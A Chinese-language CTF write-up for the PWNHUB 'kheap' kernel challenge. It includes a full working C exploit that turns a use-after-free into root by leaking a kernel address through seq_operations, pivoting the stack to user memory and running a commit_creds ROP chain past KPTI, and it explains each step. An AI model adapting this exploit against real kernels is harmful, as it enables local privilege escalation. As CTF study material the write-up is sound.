# PWNHUB-kheap

# 保护与漏洞点

保护措施:kaslr、kpti、smep

漏洞点在 keap.ko 中的 keap_ioctl 中,存在 UAF 漏洞

对于 ioctl,需要传入的参数是一个指向 info 结构体的指针

创建的堆大小为 0x20 ,这个大小攻击点感觉就是指向劫持 seq_operations

# 漏洞利用

先给出官方的 exp

c
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#include <linux/fs.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define PAGE_SIZE 0x1000
struct info
{
  uint64_t idx;
  char *ptr;
};
struct request
{
  char *ptr;
  uint64_t len;
};
int dev_fd;
uint64_t user_cs,user_ss,user_eflag,user_rsp;
void save_state()
{
  asm(
    "movq %%cs, %0;"
    "movq %%ss, %1;"
    "movq %%rsp, %3;"
    "pushfq;"
    "pop %2;"
    : "=r"(user_cs),"=r"(user_ss),"=r"(user_eflag),"=r"(user_rsp)
    :
    : "memory"
  );
}
void new(uint64_t idx)
{
  struct info arg={idx,NULL};
  ioctl(dev_fd,0x10000,&arg);
}
void delete(uint64_t idx)
{
  struct info arg={idx,NULL};
  ioctl(dev_fd,0x10001,&arg);
}
void choose(uint64_t idx)
{
  struct info arg={idx,NULL};
  ioctl(dev_fd,0x10002,&arg);
}
int seq_open()
{
  int seq;
  if ((seq=open("/proc/self/stat",O_RDONLY))==-1)
  {
    puts("[X] Seq Open Error");
    exit(0);
  }
  return seq;
}
void get_shell()
{
  system("/bin/sh");
  exit(0);
}
int main()
{
  save_state();
  dev_fd=open("/dev/kheap",O_RDWR);
  if (dev_fd<0)
  {
    puts("[X] Device Open Error");
    exit(0);
  }
  
  uint64_t *buf=malloc(0x20); 
  uint64_t *recv=malloc(0x20);
  
  new(0);
  choose(0);
  delete(0);        // 释放了大小为 0x20 的堆 heap
  
  int seq_fd=seq_open();  // 调用 seq_open,会创建 0x20 大小的堆来保存 seq_operations
  
  read(dev_fd,(char *)recv,0x20);
  
  uint64_t kernel_base=recv[0]-0x33F980;
  uint64_t prepare_kernel_cred=kernel_base+0xcebf0;
  uint64_t commit_creds=kernel_base+0xce710;
  uint64_t kpti_trampoline=kernel_base+0xc00fb0;   // 会同时绕过 kpti,然后执行 swapg 和 retq
  uint64_t seq_read=kernel_base+0x340560;
  uint64_t pop_rdi=kernel_base+0x2517a;
  uint64_t mov_rdi_rax=kernel_base+0x5982f4;
  uint64_t gadget=kernel_base+0x94a10;  //0xffffffff81094a10 : xchg esp, eax ; ret
  
  printf("[+] kernel_base: 0x%lx\n",kernel_base);
  printf("[+] prepare_kernel_cred: 0x%lx\n",prepare_kernel_cred);
  printf("[+] commit_creds: 0x%lx\n",commit_creds);
  
  //gadget&0xFFFFF000=> 地址对齐
  uint64_t *mmap_addr=mmap((void *)(gadget&0xFFFFF000),PAGE_SIZE,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_SHARED,-1,0);
  printf("[+] mmap_addr: 0x%lx\n",(uint64_t)mmap_addr);
  
  //((char *) mmap_addr)+0xa10 => 得到 gadget 地址的低 4 字节
  uint64_t *ROP=(uint64_t *)(((char *)mmap_addr)+0xa10),i=0;
  *(ROP+i++)=pop_rdi;
  *(ROP+i++)=0;
  *(ROP+i++)=prepare_kernel_cred;
  *(ROP+i++)=commit_creds;
  *(ROP+i++)=kpti_trampoline+22;   
  *(ROP+i++)=0;
  *(ROP+i++)=0;
  *(ROP+i++)=(uint64_t)get_shell;
  *(ROP+i++)=user_cs;
  *(ROP+i++)=user_eflag;
  *(ROP+i++)=user_rsp;
  *(ROP+i++)=user_ss;
  
  memcpy(buf,recv,0x20); 
  buf[0]=(uint64_t)gadget;        // 劫持 seq_ops 的.start 函数指针
  write(dev_fd,(char *)buf,0x20); // 把一开始泄露的地址重新写回 select
  read(seq_fd,NULL,1);
}
/*
0xffffffff81000000
0xffffa09b42945120
0x33F980
0xffffffff8112a6de : xchg eax, esp ; ret
0xffffffff81094a10 : xchg esp, eax ; ret
利用 xchg eax, esp 这个位于内核的 gadget,将栈转移到用户态低 32 位地址相同的地方。这个时候,我们只需要提前在这个位置布置上我们的 gadgets,就能达到提权的效果。
注意:xchg eax, esp 将清空两个寄存器的高位部分。因此执行完成后,% rsp 的高四字节为 0,此时指向用户空间。我们可以使用 mmap 函数占据这块内存,并放上 ROP 链。
file ./vmlinux
add-symbol-file ./vmlinux 0xffffffff81000000
add-symbol-file ./kheap.ko  0xffffffffc0002000
target remote 0.0.0.0:1234
*/

# 绕过 kaslr 保护

泄漏地址之前,可以进行以下操作之一,为了方便找到偏移

  • 将启动脚本中的 kaslr 选项去掉,改为 nokaslr ,那么之后泄漏出来的地址减去 0xffffffff81000000 就可以得到偏移

  • 在解压的 rootfs 中的初始化脚本 init 中,以 root 用户启动,然后查看 /proc/xxx ,找到基地址 base,UAF 泄漏地址后减去 base 即可得到偏移。同时可以用 lsmod 查看 keap.ko 加载的地址,方便后续调试

接着触发 UAF,在 kheap_read 中

可以把 select 保存的地址读到用户空间 buf 中,通过 gdb 调试,把 keap.ko 的符号表载入到 gdb 中然后在 kheap_read 下断点

这样就可以得到泄漏的地址的偏移为 0x33f980 ,然后就可以得到基地址了

# 绕过 kpti 保护

把控制流劫持到函数 swapgs_restore_regs_and_return_to_usermode ,这里一方面会绕过 kpti 保护 (即修改 cr3 寄存器的值),另一方面会切换回用户态,即调用 swapgs 和 iretq,这样我们可以在回到用户态的时候劫持 rip 去 getshell

不需要从这个函数开头开始执行,从 mov rsp,gs:qword 6004 开始即可

# 劫持 seq_operations

又是释放的堆大小为 0x20,而为了劫持控制流,故考虑修改 seq_operations 结构体的函数指针。

seq_operations 结构体大小为 0x20

c
struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos); // 开始读数据项,通常需要在这个函数中加锁,以防止并行访问数据
    void (*stop) (struct seq_file *m, void *v); // 停止数据项,和 start 相对,通常需要解锁
    void * (*next) (struct seq_file *m, void *v, loff_t *pos); // 下一个要处理的数据项
    int (*show) (struct seq_file *m, void *v); // 打印数据项到临时缓冲区
};

这个结构体设计出来是为了简化为 /proc 文件的读写操作而设计的

打开 /proc/self/stat 文件的时候,会申请出 seq_operations 结构体,而申请出的结构体就在之前释放的堆上,保存在了 select 全局变量中,那么之后我们利用 UAF,通过 kheap_write 函数,就可以修改这个 seq_operations 结构体的函数指针,然后调用 read 读即可调用函数指针,从而劫持控制流

打开 /proc/self/stat 文件时,会先调用 single_open() 函数去初始化 seq_operations 结构体

将 vmlinux 的符号表导入 gdb 中,建议关闭 kaslr 调试,这样就可以指定起始地址为 0xffffffff81000000 方便调试,在 single_open 下断点

可以发现确实创建了 0x20 大小的堆,然后申请堆用来分配 seq_operations 结构体

记录在 single_open 申请出来堆地址,然后在 kheap_read 下断点,然后到达调用 copy_to_user 处,rsi 保存的就是 select 的值,即之前 UAF 的堆地址,可以发现这两者一样

这样,就把 seq_operations 结构体劫持到了 select 上,之后利用 kheap_write 修改函数指针即可

# 函数偏移

首先需要提权,考虑使用

c
commit_creds(prepare_kernel_cred(0))

在 vmlinux 找到对应函数的地址,还有 pop rdi;ret 的 gadget

commit_creads 函数:

prepare_kernel_cread 函数:

pop rdi; ret :(这里我使用 ROPgadget,没有使用 ropper,感觉 ROPgadget 也不是很慢)

得到地址之后均减去 0xffffffff81000000 即可得到对应的偏移

# 提权 getshell

为了利用 ROP,我们需要把在处于内核态的时候,把 rsp 劫持到用户态上,因为我们的 ROP 是保存在用户态上的,这需要用到一个 gadget 指令

xchg esp, eax ; ret

利用 xchg eax, esp 这个位于内核的 gadget,将栈转移到用户态低 32 位地址相同的地方。这个时候,我们只需要提前在这个位置布置上我们的 gadgets,就能达到提权的效果。

注意:xchg eax, esp 将清空两个寄存器的高位部分。因此执行完成后,% rsp 的高四字节为 0,此时指向用户空间。我们可以使用 mmap 函数占据这块内存,并放上 ROP 链。

在 vmlinux 的 ROP 中找到对应的 gadget,然后劫持 seq_operations 的函数指针到这里,然后改变 rsp 到用户态栈,接着就执行 ret 指令了

0xffffffff81094a10 : xchg esp, eax ; ret

先调用 kheap_write 去修改 seq_operations 的函数指针

然后调用 read 去读 /porc/self/stat ,出发 seq_operations 的函数指针。在 0xffffffff81094a10 (即改变 rsp 到用户态栈上) 下断点

执行完后发现 rsp 确实到用户态上了

然后就是我们的 ROP 链了,接着就提权成功了

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

岚沐 WeChat Pay

WeChat Pay

岚沐 Alipay

Alipay

岚沐 PayPal

PayPal